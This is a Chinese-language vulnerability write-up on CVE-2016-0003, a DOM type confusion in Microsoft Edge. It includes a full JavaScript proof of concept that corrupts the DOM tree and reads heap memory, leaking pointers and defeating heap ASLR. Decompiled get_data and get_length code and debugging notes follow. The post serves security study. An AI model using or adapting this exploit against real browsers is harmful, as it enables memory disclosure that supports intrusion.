美文网首页
CVE-2016-0003 Microsoft Edge Tex

CVE-2016-0003 Microsoft Edge Tex

作者: lilyui | 来源:发表于2017-08-21 06:37 被阅读37次

1. Vulnerability Description

1.1 The Issue

MS Edge CDOMTextNode::get_data type confusion

特别构造的JavaScript脚本可以触发Microsoft Edge的type confusion,使得可以像访问字符串一样访问C++对象。 这可能导致信息泄露,例如允许攻击者确定指向其他对象或函数的指针的值。

1.2 Affect version

Microsoft Edge 20.10240.16384.0

1.3 Timeline

01/12/2016 Advisory disclosed
01/12/2016 +0 days Countermeasure disclosed
01/12/2016 +0 days SecurityTracker entry created
01/12/2016 +0 days VulnerabilityCenter entry assigned
01/13/2016 +1 days VulnerabilityCenter entry created
01/14/2016 +1 days VulDB entry created
01/17/2016 +3 days VulnerabilityCenter entry updated
01/19/2016 +2 days VulDB last update

2. Technical description and PoC

2.1 Description

在DOM树中将一个节点作为子节点加到另一个节点时,Edge首先从其父节点中删除该节点,触发DOMNodeRemoved事件,然后重新附加该节点作为另一个节点的最后一个子节点。
而在DOMNodeRemoved事件发生时,JavaScript的事件处理器可以更改DOM树,我们尝试在触发DOMNodeRemoved事件时向同一个父节点插入另一个文本子节点,这个操作在事件期间完成,因此该文本子节点在触发事件的节点之前作为子节点附加。
而在触发DOMNodeRemoved事件处理程序之前,代码似乎确定了节点应该被附加的位置,因此最开始插入的节点在父文本节点之前而不是之后被插入。
因为bug的存在,在完成所有这些操作后,DOM树已被破坏。这可以通过检查文本节点的.nextSibling属性是文本节点本身来确认, 即DOM树中有一个循环。
另一个效果是,读取文本节点的nodeValue将导致类型混淆。这里Edge访问文本节点中存储的文本数据时,实际访问的却是一个C++对象。这样可以让攻击者读取存储在这个C++对象中的数据,其中包含各种指针。

2.2 JavaScript PoC

Skylined给出了一个读取并显示DOM树对象的部分内容的PoC。该PoC已经在x64系统上进行了测试,允许攻击者绕过堆ASLR,读取堆指针。

读取的数据量可以由攻击者控制,并且可以读取分配给C++对象的内存之外的数据。攻击者可能能够使用一些堆的技巧将其他对象与C++DOM树对象中的有用信息放置在内存中,并从第二个对象读取数据。

exp如下

<html>
  <head>
    <script>
      var uNodeRemovedEvents = 0;
      onerror = function (sError, sSource, uLine){
        alert(sError + " on line " + uLine);
      };
      
      document.addEventListener("DOMNodeRemoved", function(oEvent) {
        if (uNodeRemovedEvents++ == 0) {
          oTextNode = document.createTextNode("[2]");
          // 这里有一个需要注意的地方
          // insertBefore在Edge中如果没有第二个参数,那么等同于appendChild
          // 但是其他浏览器是不支持的
          // 作者这里用insertBefore是为了更好的去判断是否有一个堆因为此处操作被allocated
          // 用于和之后的appendChild调用区分开
          document.body.insertBefore(oTextNode);
        };
      }, true);
      
      onload = function(){
        // onload中首先执行的是appendChild
        // 这里oExistingChild已经有了父节点,所以会先从父节点移除这个元素,然后把它作为新父节点的最后一个子节点
        // 其中移除操作会触发DOMNodeRemoved事件,而增加操作会触发DOMNodeInserted事件。
        document.body.appendChild(oExistingChild);
        // 但是,在oExistingChild触发DOMNodeRemoved事件时,
        // oTextNode插入了节点中
        // 最后oExistingChild成为了最后一个元素
        // 但是这里出现了一个bug
        // oTextNode的nextSibling指向了自己
        // 在这里,DOM树出现了一种类似循环的结构
        for (var oNode = document.body.firstChild; oNode && oNode != oNode.nextSibling; oNode = oNode.nextSibling) {
            // 加上这段代码是为了防止被Edge检测到树的结构出现了问题
            // 如果没有这段代码Js执行到这里的时候就会崩溃
        }

        if (oTextNode.nextSibling !== oTextNode) {
            // 未触发漏洞时报错
          throw new Error("Tree is not corrupt");
        }
        
        alert("Set breakpoints if needed");
        // 这里是为了生成一个copy
        var sData = ("A" + oTextNode.nodeValue).substr(1);
        // 下面的逻辑是读取oTextNode.nodeValue的值
        // 但实际上是内存中某块的位置
        // 在读取之后按规则格式化输出
        var sHexData = "Read 0x" + sData.length.toString(16); 
        sHexData += " bytes: ????????`????????";
        sHexQWord = "`????????";
        for (var uBytes = 4, uOffset = 4, uIndex = 0; uIndex < sData.length; uIndex++) {
          var sHexWord = sData.charCodeAt(uIndex).toString(16);
          while (sHexWord.length < 4) sHexWord = "0" + sHexWord;
          sHexQWord = sHexWord + sHexQWord;
          uBytes += 2;
          if (uBytes == 4) sHexQWord = "`" + sHexQWord;
          if (uBytes == 8) {
            sHexData += " " + sHexQWord;
            sHexQWord = "";
            uBytes = 0;
          };
        };
        if (sHexQWord) {
          while (sHexQWord.length < 17) {
            if (sHexQWord.length == 8) sHexQWord += "`";
            sHexQWord = "????" + sHexQWord;
          }
          sHexData += " " + sHexQWord;
        }
        alert(sHexData);
        // 代码执行到这里的时候会crash
        // 但是这里已经可以读取栈上的数据了
        oTextNode.nodeValue = "";
      };
    </script>
  </head>
  <body>x<x id=oExistingChild></x></body>
</html>

2.3 Code Analyze

上面这个利用流程,比较关键的几个函数是CDOMTextNode::get_data、CDOMTextNode::get_length

读取数据的函数是CDOMTextNode::get_data,代码如下

__int64 __fastcall CDOMTextNode::get_data(CDOMTextNode *this, unsigned __int16 **a2)
{
  unsigned __int16 **v2; // rbx@1
  CDOMTextNode *this_rdi; // rdi@1
  Tree::TextData *v4; // rcx@2
  __int32 v5; // eax@4
  BSTR v6; // rax@4
  int v7; // ebp@4
  struct CTreePos *v8; // rax@4
  struct CTreePos *v9; // rsi@4
  Tree::TextNode *v10; // rdi@4
  unsigned __int16 *v11; // rax@5
  Tree::ANode *v12; // rax@5
  CTreePos *v13; // rcx@6
  __int64 v14; // r9@9
  const OLECHAR *v15; // rax@9
  UINT v16; // er9@9
  BSTR v17; // rax@9
  UINT ui; // [sp+48h] [bp+10h]@4
  unsigned __int32 v20; // [sp+50h] [bp+18h]@5

  v2 = a2;
  this_rdi = this;
  if ( a2 )
  {
    *a2 = 0i64;
    v4 = (Tree::TextData *)*((_QWORD *)this + 6);
    if ( v4 )
    {
      v14 = *(_DWORD *)v4;
      v15 = Tree::TextData::GetText(v4, 0, 0i64);
      v17 = SysAllocStringLen(v15, v16);
      *v2 = (unsigned __int16 *)Abandonment::CheckAllocationUntyped(v17);
    }
    else if ( CDOMTextNode::IsPositioned(this_rdi) )
    {
      ui = 0;
      v5 = CDOMTextNode::get_length(this_rdi, (__int32 *)&ui);
      Abandonment::CheckHRESULTStrict(v5);
      v6 = SysAllocStringLen(0i64, ui);
      *v2 = (unsigned __int16 *)Abandonment::CheckAllocationUntyped(v6);
      v7 = 0;
      LODWORD(v8) = Tree::TextNode::TextNodeFromDOMTextNode((__int64)this_rdi);
      v9 = v8;
      v10 = v8;
      do
      {
        v11 = Tree::TextNode::Text(v10, 0, &v20);
        memcpy_s(&(*v2)[v7], 2i64 * (signed int)(ui - v7), v11, 2i64 * v20);
        v7 += v20;
        v12 = Tree::TreeReader::GetNextSiblingWithFilter(
                v10,
                (enum Tree::NodeFilterResultsEnum (__stdcall __high static *)(const struct Tree::ANode *))&Dom::TreeReader::ScriptableIdentityFilter);
        v10 = v12;
      }
      while ( v12 && Tree::ANode::IsTextNode(v12) && CTreePos::IsSameTextOrCDataNode(v13, v9) );
    }
  }
  return 0i64;
}

在函数中有一次调用
CDOMTextNode::get_length(this_rdi, (__int32 *)&ui)
代码如下,其中a2的值是ui,也就是0,而CDOMTextNode::IsPositioned(this)返回值为真,即进入了第二个逻辑,在该逻辑中进行了长度的处理

获取长度后,则在get_data函数中,在memcpy_s(&(*v2)[v7], 2i64 * (signed int)(ui - v7), v11, 2i64 * v20)这行代码利用memcpy_s不断读取内存中的值至长度到达之前get_length函数返回的值位置。

这里读取的是v11指向中保存地址指向的值,那我们再上溯,v11 = Tree::TextNode::Text(v10, 0, &v20);,其中v10的值是Tree::TextNode::TextNodeFromDOMTextNode返回的一个结构体指针,而调用该函数的参数是rcx。

__int64 __fastcall CDOMTextNode::get_length(CDOMTextNode *this, __int32 *a2)
{
  __int32 *v2; // rax@1
  signed int v3; // ebx@1
  __int32 *v4; // rsi@1
  CDOMTextNode *v5; // rdi@1
  struct CTreePos *v7; // rax@6
  struct CTreePos *v8; // rbp@6
  struct CTreePos *v9; // r11@6
  __int32 v10; // edi@6
  Tree::ANode *v11; // rax@7
  CTreePos *v12; // rcx@8

  v2 = (__int32 *)*((_QWORD *)this + 6);
  v3 = 0;
  v4 = a2;
  v5 = this;
  if ( v2 )
  {
    *a2 = *v2;
  }
  else if ( CDOMTextNode::IsPositioned(this) )
  {
    LODWORD(v7) = Tree::TextNode::TextNodeFromDOMTextNode((__int64)v5);
    v8 = v7;
    v9 = v7;
    v10 = 0;
    do
    {
      v10 += **((_DWORD **)v9 + 7);
      v11 = Tree::TreeReader::GetNextSiblingWithFilter(
              v9,
              (enum Tree::NodeFilterResultsEnum (__stdcall __high static *)(const struct Tree::ANode *))&Dom::TreeReader::ScriptableIdentityFilter);
    }
    while ( v11 && Tree::ANode::IsTextNode(v11) && CTreePos::IsSameTextOrCDataNode(v12, v8) );
    *v4 = v10;
  }
  else
  {
    v3 = -2147024809;
  }
  return (unsigned int)v3;
}

2.4 Dynamic Analysis

对get_data下断点后开始单步跟踪,发现这里get_length函数的返回值和节点oExistingChild的长度相关,也就是说,这里出现了一个bug,在本来应该读取textnode的长度的时候,返回了一个和oExistingChild长度相关的数值,即我们可以一定程度上控制读取的数据长度,当然,这里数据如果太长,在读取的时候会触发一个访问错误,导致进程崩溃无法继续读取。

最后结合动态调试和代码分析发现length是从结构体指针处偏移0x1c的位置指向的指针指向的位置中取出来,即first_struct->other_struct->length。而读取的地址位置则是结构体指针偏移0xC的位置。

3. References

1. zerodayinitiative
2. microsoft
3. securitytracker
4. cve.mitre.org
5. vuldb
6. skylined blog

相关文章

网友评论

      本文标题:CVE-2016-0003 Microsoft Edge Tex

      本文链接:https://www.haomeiwen.com/subject/dooqdxtx.html